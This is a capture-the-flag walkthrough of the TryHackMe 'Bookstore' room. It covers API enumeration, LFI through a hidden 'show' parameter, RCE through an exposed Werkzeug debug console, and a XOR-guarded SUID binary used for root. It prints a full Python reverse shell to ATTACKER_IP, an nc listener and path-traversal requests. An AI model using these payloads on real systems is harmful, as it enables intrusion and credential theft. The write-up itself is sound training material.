TryHackMe Web Privesc Medium

Bookstore

REST API enumeration, LFI through an undocumented parameter, Werkzeug debug console RCE, and XOR-based binary reverse engineering for root.

PlatformTryHackMe
DifficultyMedium
CategoryWeb / Privesc
01

Network Reconnaissance

Full-range SYN scan with service detection to map the attack surface.

shell
nmap -sS -sV -p- -T5 <TARGET_IP> # -sS stealth SYN -sV versions -p- all ports -T5 fast (CTF)
terminalnmap results
Nmap scan showing ports 22, 80, 5000
Three open ports. Port 5000 on a non-standard service is the first thing worth investigating.
22
SSH
potential creds lateral move
80
HTTP
primary web surface
5000
HTTP
non-standard — API / dev
Assessment: Port 5000 on a non-standard service almost always means a dev or internal API — weaker security posture, higher chance of something exploitable.
02

Port 80 — Web Enumeration

browserport 80 — landing page
Login page on port 80
Login page. Common credentials and basic SQLi returned nothing — not the vector here.

Login form was a dead end. Moved straight to directory enumeration to surface anything not linked from the main page.

shell
ffuf -w /usr/share/wordlists/dirb/common.txt \ -u http://TARGET_IP/FUZZ \ -e .php,.html,.bak,.txt \ -mc 200,301,302

ffuf hit one interesting path — and surfaced a JS file that turned out to be critical.

03

Source Code Analysis — Info Disclosure

browser / devtools/assets/js/api.js
api.js with developer comments disclosing LFI in v1 API
Developer comments left in a production JS file. Full API structure and an explicit note about an LFI in v1.

/assets/js/api.js had developer comments that should never ship to production. They detailed the full API path structure and called out a known vulnerability by name.

Disclosed: v1 API (/api/v1/) has an LFI in the file parameter. v2 was patched — but v1 was never removed from the server.

Developers documented the bug, deployed the fix to v2, and forgot to take down v1. The endpoint remained live and fully accessible.

04

Port 5000 — API Confirmation

browserport 5000 — v2 API response
Port 5000 API returning JSON for /api/v2/resources/books/random4
v2 endpoint returns valid JSON. Confirms the path structure from api.js is accurate — v1 very likely still present.
http
GET http://TARGET_IP:5000/api/v2/resources/books/random4 # JSON returned → v2 path confirmed → v1 likely still alive too
05

API Documentation Discovery

terminalffuf on port 5000
ffuf on port 5000 finding API docs endpoint
ffuf surfaces accessible API documentation on port 5000 — complete endpoint list with parameter names.
shell
ffuf -w /usr/share/wordlists/dirb/common.txt \ -u http://TARGET_IP:5000/FUZZ \ -e .txt,.md,.json \ -mc 200,301
06

Dead End → Parameter Fuzzing

terminaltesting all documented endpoints
All v2 API endpoints tested — all clean
Every documented endpoint tested — LFI, SQLi, command injection all clean. v2 is properly sanitized. Time to pivot.

All documented endpoints returned clean responses. The key realization: the bug might be in an undocumented parameter — not an undocumented endpoint. Shift strategy.

shell
# Pivot: endpoint fuzzing → parameter fuzzing against v1 wfuzz -c \ -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ --hc 404 \ -u "http://TARGET_IP:5000/api/v1/resources/books?FUZZ=../../../etc/passwd"
Hypothesis: v1 API still exists. It may have undocumented parameters not listed anywhere. Fuzz every parameter name with a traversal payload and see what responds.
07

The Breakthrough — Hidden Parameter

terminalwfuzz — 'show' parameter hit
wfuzz discovering undocumented 'show' parameter in v1 API
wfuzz hits on 'show' — undocumented, zero filtering. LFI confirmed in v1 endpoint.
Root cause: v1 API was never deprecated. Remained live with a hidden show parameter that accepts arbitrary file paths with zero sanitization — not in the docs, not in the JS comments, only found by fuzzing.
08

LFI Exploitation

browser/etc/passwd via show parameter
LFI confirmed — /etc/passwd contents returned
Full /etc/passwd returned. Arbitrary file read confirmed. Direct path, no encoding needed.
http
GET http://TARGET_IP:5000/api/v1/resources/books?show=/etc/passwd # /etc/passwd returned in full # Next targets: .bash_history, SSH keys, app config, DB creds
09

Credential Discovery via .bash_history

browser.bash_history via LFI
.bash_history exposed via LFI — Werkzeug debug PIN in plaintext
.bash_history contains the Werkzeug debug PIN — stored in plaintext from when the dev ran the app with --debug.
http
GET http://TARGET_IP:5000/api/v1/resources/books?show=.bash_history # PIN exposed — ran app in debug mode during dev, never rotated before deploying
Critical: Debug console exposed in production on port 5000. PIN recoverable from bash history. Debug interfaces in production = direct RCE.
10

RCE via Werkzeug Debug Console

browserdebug console — authenticated
Werkzeug interactive debugger unlocked with PIN
PIN accepted. Interactive Python shell running as the web app user — full code execution from the browser.
Impact: Werkzeug interactive debugger = Python REPL on the server. Full stdlib access, subprocess, socket — anything Python can do, we can do from this browser tab.
11

Reverse Shell

terminal + browserpython reverse shell → caught
Python reverse shell executed in debug console, caught on nc listener
Payload executed in the console, shell caught on nc listener. Interactive access established.
python — werkzeug console
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("ATTACKER_IP",7777)) os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2) subprocess.call(["/bin/sh","-i"])
attacker — nc listener
nc -lvnp 7777
12

User Flag

terminalshell connected + user.txt
Shell received, cat user.txt returns flag
Connection received. user.txt captured. Initial compromise complete.
shell
cat user.txt THM{...}
13

Privesc — Binary Discovery

terminaltry-harder in home directory
try-harder SUID binary in home dir, prompts for magic number
Custom SUID binary 'try-harder' in the home dir — prompts for a magic number. Needs reversing.

Post-exploitation enumeration surfaces a custom binary: try-harder. On execution it prompts: "What's The Magic Number?!". Likely calls setuid(0) and spawns a shell on correct input — reverse engineering required.

14

Binary Reverse Engineering

ghidradecompiled try-harder
Decompiled try-harder showing XOR check: input ^ 0x1116 ^ 0x5db3 == 0x5dcd21f4
Decompiled logic: input XOR 0x1116 XOR 0x5db3 must equal 0x5dcd21f4. XOR is self-inverse — trivially reversible.
shell — transfer binary
# on target python3 -m http.server 8080 # on attacker wget http://TARGET_IP:8080/try-harder
c — decompiled logic (ghidra)
void main(void) { setuid(0); // becomes root if SUID bit set uint constant = 0x5db3; puts("What's The Magic Number?!"); scanf("%u", &user_input); result = user_input ^ 0x1116 ^ constant; if (result == 0x5dcd21f4) { system("/bin/bash -p"); // root shell } else { puts("Incorrect Try Harder"); } }

XOR is self-inverse — to find the input, XOR the target with the same constants:

python
magic = 0x5dcd21f4 ^ 0x5db3 ^ 0x1116 print(magic) # decimal for the prompt print(hex(magic)) # verify 1573743953 # 0x5dcd6d51
15

Root

terminaltry-harder → root shell
try-harder accepts 1573743953, spawns root shell, whoami → root
Magic number accepted. /bin/bash -p via setuid. whoami → root. Both flags captured.
shell
$ ./try-harder What's The Magic Number?! 1573743953 # whoami root cat /root/root.txt THM{...}
Chain complete. Nmap → client-side info disclosure → LFI via undocumented param → .bash_history cred → debug console RCE → rev shell → binary RE → root. ✓ user.txt ✓ root.txt
16

Key Takeaways

01
Strip dev comments before deploying. api.js disclosed the API structure and named the exact vulnerability. Minify and strip comments — or use build pipelines that do it automatically.
02
Deprecated means deleted. Hiding the link to v1 is not the same as removing it. Old endpoints need to be actively taken down, not just undocumented.
03
Parameter fuzzing finds what endpoint fuzzing misses. All documented endpoints were clean. The bug lived in an undocumented parameter only fuzzing could reveal.
04
Never run debug interfaces in production. The Werkzeug debugger gave us a Python REPL on the server. One exposed debug interface turned LFI into full RCE.
05
XOR is not authentication. Simple XOR checks in SUID binaries are instantly reversible. Any gate-keeping logic in a privesc binary must be cryptographically sound.